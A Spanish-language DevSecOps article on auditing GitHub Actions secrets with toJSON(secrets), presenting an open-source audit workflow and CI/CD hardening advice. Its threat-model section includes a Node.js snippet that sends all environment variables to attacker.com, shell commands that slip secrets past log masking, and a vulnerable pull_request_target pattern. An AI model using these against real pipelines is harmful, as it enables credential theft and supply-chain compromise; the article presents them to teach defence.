Anatomía de un Volcado de Secretos en CI/CD: Análisis DevSecOps, Vectores de Ataque y Blindaje de GitHub Actions

En la ingeniería cloud-native actual, las canalizaciones de CI/CD custodian las “llaves del reino”. Tokens de despliegue, credenciales IAM para la nube, cadenas de conexión a bases de datos productivas y claves API de terceros se inyectan a diario en entornos automatizados para compilar, probar y publicar software.

Existe una asunción generalizada entre muchos equipos técnicos de que los secretos en plataformas como GitHub Actions están intrínsecamente a salvo: viajan y reposan cifrados, se enmascaran con asteriscos (***) en los registros de salida y quedan ocultos en la interfaz del repositorio una vez guardados.

Sin embargo, el contexto de ejecución de un runner de CI/CD dispone de acceso legítimo y descifrado a dichos secretos en su memoria de trabajo.

Cuando los equipos de SecOps o Plataforma necesitan auditar qué secretos están activos, en ámbito o heredados desde la organización, suelen recurrir a expresiones de serialización contextual como ${{ toJSON(secrets) }}. ¿Cómo se evalúa internamente esta función? ¿Qué riesgos ocultos existen (como los tokens inyectados automáticamente)? Y lo que es más crítico: ¿de qué forma los atacantes emplean exactamente estos mismos mecanismos para perpetrar brechas catastróficas en la cadena de suministro de software?

En este análisis detallado, diseccionamos la arquitectura de un flujo de auditoría de secretos de nivel empresarial y blindado, exploramos el modelo de amenazas en CI/CD y explicamos cómo implementar una defensa en profundidad en tus repositorios.

---

1. Cómo Procesa GitHub Actions ${{ toJSON(secrets) }}

Para comprender cómo auditar secretos con total seguridad, primero debemos examinar el ciclo de vida de las credenciales dentro del entorno de ejecución de GitHub Actions.

Descifrado e Inyección en Memoria

Cuando el paso de un job solicita un secreto o evalúa expresiones en un bloque env, el orquestador de GitHub Actions ejecuta la siguiente secuencia:

1. Descifrado: El backend orquestador recupera y descifra los secretos del repositorio, de la organización y del entorno correspondientes.
2. Inyección en Tiempo de Ejecución: Los valores descifrados se cargan en el entorno del proceso del runner.
3. Registro en la Tabla de Enmascaramiento: Cada valor se añade a un filtro interno de sustitución de cadenas. Si cualquier flujo de salida (stdout o stderr) emite una coincidencia exacta de esa secuencia de bytes, el runner la intercepta y la sustituye por ***.

env:
  SECRET_LIST: ${{ toJSON(secrets) }}

Evaluar ${{ toJSON(secrets) }} serializa todas las credenciales accesibles en ese job en una única cadena JSON con formato clave-valor.

El Token Oculto Inyectado: GITHUB_TOKEN

Un matiz crucial que a menudo pasa desapercibido es que GitHub Actions inyecta automáticamente un token efímero de instalación dentro del contexto secrets bajo las claves github_token y GITHUB_TOKEN.

Si vuelcas ${{ toJSON(secrets) }} sin procesar, este token administrativo temporal del runner se mezclará con tus secretos estáticos de aplicación. Una canalización de auditoría rigurosa debe descartar este token de manera determinista utilizando manipulación JSON:

# Omitir tokens efímeros del runner para centrarse en los secretos configurados
if [[ "$INCLUDE_GH_TOKEN" != "true" ]]; then
  PROCESSED_SECRETS=$(printf '%s\n' "$SECRET_LIST" | jq 'del(.github_token, .GITHUB_TOKEN)')
else
  PROCESSED_SECRETS="$SECRET_LIST"
fi

---

2. Arquitectura de una Canalización Blindada de Auditoría

Auditar secretos no puede abordarse con un script improvisado en bash. En nuestro proyecto de código abierto, alfoncode/secrets-audit, diseñamos un flujo de auditoría basado en principios Zero-Trust y defensa multicapa.

graph TD
    A["Disparo: workflow_dispatch"] --> B["Ingesta de Contexto: toJSON(secrets)"]
    B --> C{"¿Incluir GITHUB_TOKEN?"}
    C -- No --> D["Filtrar .github_token con jq"]
    C -- Sí --> E["Mantener Contexto Completo"]
    D --> F{"¿Modo Ofuscado Activo?"}
    E --> F
    F -- Sí --> G["Reemplazar valores por [REDACTED]"]
    F -- No --> H["Preservar Valores Reales"]
    G --> I["Serializar: JSON / YAML / .env"]
    H --> I
    I --> J["Escribir fuera del workspace: /tmp/audit-runID"]
    J --> K["Subir Artefacto Efímero 24h vía SHA v7.0.1"]
    K --> L["Destrucción Segura Forense: shred -u en always()"]

Principios Fundamentales del Diseño

1. Ejecución Exclusivamente Manual (workflow_dispatch): El flujo no puede dispararse por eventos automáticos de push, webhooks ni pull requests externos.
2. Modo Inventario Seguro (redact: true): Al activarse, los valores se sustituyen por [REDACTED] antes de generar el archivo. Permite a los equipos de cumplimiento auditar nombres de claves sin exponer credenciales en texto plano.
3. Múltiples Formatos de Salida: Admite exportaciones estructuradas en formatos json, yaml y .env mediante canalizaciones limpias con jq.
4. Almacenamiento Aislado Fuera del Workspace: Todos los ficheros se generan en un directorio aislado (/tmp/audit-${GITHUB_RUN_ID}) en lugar de $GITHUB_WORKSPACE, previniendo commits accidentales en Git o retenciones indeseadas.
5. Retención Reducida: Los artefactos caducan estrictamente mediante retention-days: 1 (autodestrucción a las 24 horas).
6. Destrucción Segura en Disco: Un paso de limpieza con if: always() ejecuta shred -u para sobrescribir múltiples veces los datos en disco antes de liberar los recursos del runner.

---

3. Modelado de Amenazas: Cómo se Explota el Volcado de Secretos

Aunque auditar secretos es una labor de mantenimiento legítima, el mecanismo subyacente —extraer y exfiltrar el contexto de credenciales— es uno de los vectores de ataque más devastadores en la cadena de suministro de software.

Analicemos cómo los atacantes explotan estos vectores en escenarios reales.

graph LR
    subgraph Vectores["Vectores de Ataque"]
        V1["1. PwnRequest / PRs desde Forks"]
        V2["2. Secuestro de Tags en Acciones"]
        V3["3. Exfiltración Lateral vía Artefactos"]
        V4["4. Evasión del Enmascaramiento de Logs"]
    end

    subgraph Objetivo["Objetivo de Explotación"]
        T["Exfiltración del Contexto ${{ toJSON(secrets) }}"]
    end

    subgraph Impacto["Radio de Impacto"]
        I1["Toma de Control de Cuenta Cloud IAM"]
        I2["Brecha en Base de Datos de Producción"]
        I3["Envenenamiento de Registro de Paquetes"]
    end

    V1 --> T
    V2 --> T
    V3 --> T
    V4 --> T
    T --> I1
    T --> I2
    T --> I3

---

Vector de Ataque 1: PwnRequest (Configuraciones Erróneas de pull_request_target)

Un fallo clásico se produce cuando los repositorios ejecutan flujos de trabajo con privilegios elevados utilizando el disparador pull_request_target.

Si un workflow utiliza pull_request_target (que otorga acceso a los secretos del repositorio base) y a continuación hace checkout de la rama no confiable del pull request (ref: ${{ github.event.pull_request.head.sha }}), un atacante externo puede enviar un pull request con scripts maliciosos en la fase de compilación:

# ❌ PATRÓN VULNERABLE: ¡Nunca combines pull_request_target con checkout de código no confiable!
on:
  pull_request_target:

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }} # ¡Código controlado por el atacante!
      - run: npm test # ¡El atacante ejecuta código con acceso a los secretos!

En cuanto arranca la ejecución, el script del atacante simplemente lee process.env o evalúa toJSON(secrets) y envía las credenciales de la organización a un servidor externo.

Regla de Oro: Emplea siempre on: workflow_dispatch para tareas operativas o de auditoría. Jamás evalúes secretos en workflows accesibles mediante pull requests de repositorios bifurcados (forks).

---

Vector de Ataque 2: Envenenamiento de Cadena de Suministro (Mutación de Etiquetas Git)

La mayoría de los flujos de GitHub Actions hacen referencia a acciones de terceros mediante etiquetas de versión mutables (por ejemplo, uses: actions/upload-artifact@v4 o uses: third-party/action@v1).

Si la cuenta del mantenedor se ve comprometida, un atacante puede mover la etiqueta Git v4 para apuntar a un commit malicioso. Cuando tu canalización se ejecute, la acción manipulada interceptará las variables de entorno antes de que comiencen tus pasos y las enviará a su servidor:

// Payload malicioso camuflado en una etiqueta modificada:
const https = require("https");
const payload = JSON.stringify(process.env);
https.request({ host: "attacker.com", path: "/steal", method: "POST" }).end(payload);

🛡️ Mitigación: Fijación Inmutable por SHA

En secrets-audit, todas las acciones externas están ancladas a su SHA de commit inmutable de 40 caracteres, neutralizando el riesgo de manipulación de tags:

# Fijado a SHA inmutable de commit completo (v7.0.1 - Nativo Node 24)
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1

---

Vector de Ataque 3: Exfiltración Lateral a Través de Artefactos de GitHub

En el modelo de permisos de GitHub:

• Cualquier usuario o token con permisos de lectura (contents: read) en el repositorio puede descargar los artefactos generados por cualquier ejecución de workflow.
• Si un flujo de auditoría sin ofuscar se ejecuta en un repositorio público o en uno privado con permisos amplios de lectura, cualquier colaborador o token filtrado puede descargar el archivo ZIP del artefacto y leer todos los secretos productivos en texto plano.

🛡️ Mitigación:

1. Usa Redacción: Configura redact: true por defecto en auditorías estructurales o de nomenclatura.
2. Controles de Aprobación en Entornos: Vincula el job a un entorno protegido que exija validación manual por parte del equipo de seguridad antes de su inicio.
3. Cifrado del Artefacto: Aplica cifrado asimétrico GPG al fichero de volcado antes de subirlo al almacenamiento de artefactos.

---

Vector de Ataque 4: Evasión del Enmascaramiento de Logs (Fugas por Canales Laterales)

El motor de enmascaramiento de GitHub solo intercepta coincidencias binarias exactas de las cadenas registradas como secretos. Un script vulnerable o un atacante pueden evadir fácilmente este filtro mediante sencillas transformaciones:

# ⚠️ Evasión: La codificación en Base64 elude el enmascaramiento por coincidencia exacta
echo "$DATABASE_PASSWORD" | base64

# ⚠️ Evasión: Interpolar espacios entre caracteres esquiva el reconocedor de cadenas
echo "$API_KEY" | sed 's/./& /g'

🛡️ Mitigación:

En secrets-audit.yml, los secretos nunca se imprimen en la salida estándar. El resumen del workflow únicamente enumera los nombres de las claves (keys[]), restringiendo los valores a los ficheros aislados:

# Seguro: Solo lista los nombres de las claves en el resumen visual del paso
printf '%s\n' "$PROCESSED_SECRETS" | jq -r 'keys[]'

---

🔬 4. Matriz de Ejecución Verificada y Resultados Reales

Para certificar el correcto funcionamiento y rendimiento del flujo, validamos todas las combinaciones en ejecutores oficiales de GitHub (ubuntu-latest):

Ejemplos de Salida según Modalidad

1. Exportación JSON (Valores Reales)

{
  "TEST_DATABASE_URL": "postgres://user:pass@db.example.com:5432/mydb",
  "TEST_API_KEY": "super-secret-api-key-12345"
}

2. Exportación YAML (Modo Ofuscado / Redacted)

secrets:
  TEST_DATABASE_URL: [REDACTED]
  TEST_API_KEY: [REDACTED]

3. Exportación Dotenv (.env)

TEST_DATABASE_URL=postgres://user:pass@db.example.com:5432/mydb
TEST_API_KEY=super-secret-api-key-12345

---

🛡️ 5. Guía DevSecOps para Proteger Secretos en CI/CD

A partir del análisis de amenazas, esta es nuestra lista de verificación recomendada para blindar la gestión de credenciales en GitHub Actions:

1. Aplicar el Principio de Mínimo Privilegio

Restringe explícitamente los permisos por defecto de GITHUB_TOKEN tanto a nivel global del workflow como en cada job específico:

permissions:
  contents: read # Deshabilita write, packages, security_events, etc.

2. Migrar de Secretos Estáticos a OIDC (OpenID Connect)

Siempre que tu CI/CD interactúe con proveedores cloud (AWS, Google Cloud, Azure, HashiCorp Vault), prescinde de credenciales estáticas de larga duración. Utiliza federación OIDC para solicitar tokens efímeros y con ámbito acotado en tiempo real:

# Ejemplo: Autenticación sin contraseña en AWS mediante OIDC
- name: Configure AWS Credentials
  uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeploymentRole
    aws-region: us-east-1

3. Implementar Reglas de Protección de Entorno

Agrupa los secretos críticos de producción en GitHub Environments. Activa los Revisores Requeridos para impedir que un flujo acceda a credenciales productivas sin el visto bueno de un ingeniero de seguridad autorizado.

4. Activar Secret Scanning y Push Protection

Habilita GitHub Secret Scanning y Push Protection en toda la organización para evitar que credenciales accidentales acaben en el historial del repositorio.

---

🔮 6. Próximos Pasos: Hacia una Gestión Zero-Trust de Credenciales

El proyecto secrets-audit continúa mejorando. Las próximas incorporaciones de arquitectura incluyen:

1. Auditorías Acotadas por Entorno

Incorporar el parámetro environment a workflow_dispatch permitirá inventariar configuraciones específicas de cada entorno activando las puertas de aprobación de GitHub Enterprise.

2. Cifrado Asimétrico de Artefactos mediante GPG

Para garantizar descargas de artefactos con filosofía Zero-Trust, se incorporará una fase de cifrado previa a la subida utilizando la clave pública GPG del equipo:

# Cifrar con clave pública antes del empaquetado del artefacto:
gpg --batch --yes --encrypt --recipient security@labitcode.com --output "$FILE.gpg" "$FILE"

De esta manera, aunque un usuario no autorizado descargue el artefacto de GitHub, el contenido permanecerá cifrado e inaccesible sin la clave privada correspondiente.

---

🤝 Conclusión y Recursos Open Source

Proteger canalizaciones de CI/CD requiere superar la falsa sensación de seguridad predeterminada y entender en detalle cómo interactúan los procesos con el hardware y la memoria del runner. Mediante una auditoría rigurosa y la aplicación de salvaguardas de defensa en profundidad —como la fijación de SHAs inmutables, el aislamiento de directorios y la destrucción segura con shred— es posible minimizar sustancialmente la superficie de exposición.

El código completo del workflow, las suites de prueba y la documentación están disponibles bajo licencia MIT:

🔗 Repositorio en GitHub: https://github.com/alfoncode/secrets-audit
📄 Licencia: MIT

¡Animamos a la comunidad de DevSecOps y código abierto a probar la herramienta, abrir incidencias y contribuir con nuevas propuestas!